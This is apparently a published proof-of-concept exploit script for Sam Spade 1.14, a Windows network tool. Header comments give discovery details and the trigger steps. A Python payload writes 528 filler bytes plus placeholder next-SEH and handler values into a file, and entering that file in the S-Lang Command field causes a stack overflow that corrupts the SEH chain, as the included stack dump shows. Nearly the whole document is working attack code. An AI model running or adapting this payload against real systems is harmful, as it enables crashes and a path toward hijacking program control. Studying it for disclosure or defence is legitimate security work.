#!/usr/bin/env python # Exploit Title : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC # Discovery by : Nipun Jaswal # Email : mail@nipunjaswal.info # Discovery Date : 12/11/2015 # Vendor Homepage : http://samspade.org # Software Link : http://www.majorgeeks.com/files/details/sam_spade.html # Tested Version : 1.14 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS : Windows XP Professional SP2 x86 es # Crash Point : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket ########################################################################################## # -----------------------------------NOTES----------------------------------------------# ########################################################################################## # And the Stack #00FBFE80 41414141 AAAA #00FBFE84 41414141 AAAA #00FBFE88 42424242 BBBB Pointer to next SEH record #00FBFE8C 43434343 CCCC SE handler # After the execution of POC, the SEH chain looks like this: #Address SE handler #00FBFE88 43434343 #42424242 *** CORRUPT ENTRY *** f = open("sam_spade_slang_dos.txt", "w") Junk_a = "A"*528 nseh= "B" * 4 seh= "C" *4 f.write(Junk_a+nseh+seh) f.close()